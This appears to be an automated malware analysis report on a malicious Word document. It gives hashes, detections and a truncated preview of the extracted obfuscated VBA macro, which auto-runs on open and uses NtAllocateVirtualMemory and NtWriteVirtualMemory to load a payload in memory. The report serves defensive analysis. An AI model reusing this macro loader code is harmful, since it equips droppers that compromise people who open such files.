Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aae61193b3b9569f…

MALICIOUS

Office (OLE)

204.0 KB Created: 2017-12-04 15:24:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: 80a9a67a9219242ce6158153ee044168 SHA-1: 0dd61be16ecf73996dc86dc8642ba4c1bd0c9b82 SHA-256: aae61193b3b9569f0f50eef9f1165753769974312442f5bb77eb87b91905557c
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute code, likely to download and run a secondary payload. The presence of `GetObject` and `NtAllocateVirtualMemory` calls suggests memory manipulation for payload execution. The ClamAV detection ID 'Doc.Dropper.Agent-6389788-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6389788-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6389788-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39551 bytes
SHA-256: a10ea65bf13d7f35d050e3a1f86ac57a1f23bdcb998bba29cc3edacd29ddd0fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
heteropathy = "unnumbered"
modw.hermes
crowbait = 42 + 45
 Pmt 0, crowbait, 2138, 16262, 2
End Sub



Attribute VB_Name = "morder"
#If (13 * 3 + 5) > (8 - 3 * 1) And (88 - 11 * 8) * 30 < (Win64) Then
Public Declare _
PtrSafe Function establishment Lib "ntdll  " Alias _
"NtAllocateVirtualMemory" (decorate As LongPtr, barycenter As LongPtr, ByVal crossed As LongPtr, sabbathByVal As LongPtr, rottweiler As LongPtr, ByVal savage As LongPtr) As LongPtr
#End If
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
Public Declare Function neolithic _
Lib "ntdll   " _
Alias "NtWriteVirtualMemory" (ByVal clodpated As Any, ByVal connote As Any, ByVal defeatist As Any, ByVal anodic As Any, ByVal adient As Any) As Long
#End If


Function cadastral()
Dim inclined(255) As Byte
selfabasement = 84 - 94 + 75
Do While (selfabasement) * 1 <= (90 + 1) * 1
inclined(selfabasement) = selfabasement - 65
selfabasement = selfabasement + 1
Loop
selfabasement = 40 + 8
Do While (selfabasement) * 1 <= (50 + 8) * 1
inclined(selfabasement) = selfabasement + 4
selfabasement = selfabasement + 1
Loop
selfabasement = 90 + 7
Do While (selfabasement) * 1 <= (120 + 3) * 1
inclined(selfabasement) = selfabasement - 71
selfabasement = selfabasement + 1
Loop
inclined(47) = 60 + 3
selfabasement = 40 + 3
inclined(selfabasement) = 60 + 2
cadastral = inclined
End Function
Function calcification(bizonal)
Dim misfortune As Integer
Dim rectilinearity As Variant
Dim needs As String
Dim anguilliformes As Variant
#If (43 - 25 + 382 + 38 - 43 + 305) > ((24 - 33 + 329) - (30 - 58 + 568) * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim barbarous As Variant
Dim mortgagee As LongPtr
nonsubjective = 126 - 112 - 6
Dim consign As LongPtr
Dim glaucous As Long
Dim scyphiform As Long
Dim ungrudgingly As LongPtr
Dim alcyonacea As Integer
#ElseIf (43 - 25 + 382 + 38 - 43 + 305) > ((24 - 33 + 329) - (30 - 58 + 568) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim mortgagee As Long
nonsubjective = 107 - 100 - 3
Dim consign As Long
Dim ungrudgingly As Long
#End If
presidents = VarPtr(mortgagee)
melena = genital(presidents, VarPtr(bizonal) + 8, nonsubjective)
tums = 108 - 102 - 7
consign = 64 - 54 - 10
once = 58 - 35 - 23
ungrudgingly = 5 - 15 + 9584
down = 109 - 41 + 4028
adjutage = 13 - 43 + 94
old = establishment(ByVal tums, _
consign, ByVal once, ungrudgingly, ByVal down, _
ByVal adjutage)
genital consign, mortgagee, 120 - 99 + 5862
allochronic = 26 + 21
Pmt 0, allochronic, 6123, 26696, 5
calcification = consign
End Function

Function genital(beats, ardently, synchronized)
#If (43 - 25 + 382 + 38 - 43 + 305) > ((24 - 33 + 329) - (30 - 58 + 568) * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim lancelot As Byte
Dim accipere As Byte
Dim kolkwitzia As LongPtr
Dim aglet As LongPtr
Dim dominantly As LongPtr
Dim clorox As Integer
Dim aphonic As LongPtr
Dim cacophonous As LongPtr
#ElseIf (43 - 25 + 382 + 38 - 43 + 305) > ((24 - 33 + 329) - (30 - 58 + 568) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim aglet As Long
Dim enmeshed As Long
Dim kolkwitzia As Long
Dim dairy As Variant
Dim aphonic As Long
Dim greet As String
Dim dominantly As Long
Dim compose As Integer
Dim cacophonous As Long
Dim korea As Variant
Dim moved As Integer
#End If
aglet = beats
cacophonous = synchronized
aphonic = ardently
gauze = 53 + 13
Pmt 0, gauze, 12817, 35246, 2
kolkwitzia = 54 - 110 + 55
neolithic ByVal kolkwitzia, _
aglet, aphonic, _
cacophonous, _
dominantly
infanta = "viciousness"
End Function


Attribute VB_Name = "poca"
Attribute VB_Base = "0{F7DCE23F-0836-47A0-B13D-81327F973541}{6CE32756-4929-4A39-B6B2-9B581EBB3339}"
Attribute VB_GlobalNameSpace = False
Attribute VB_C
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.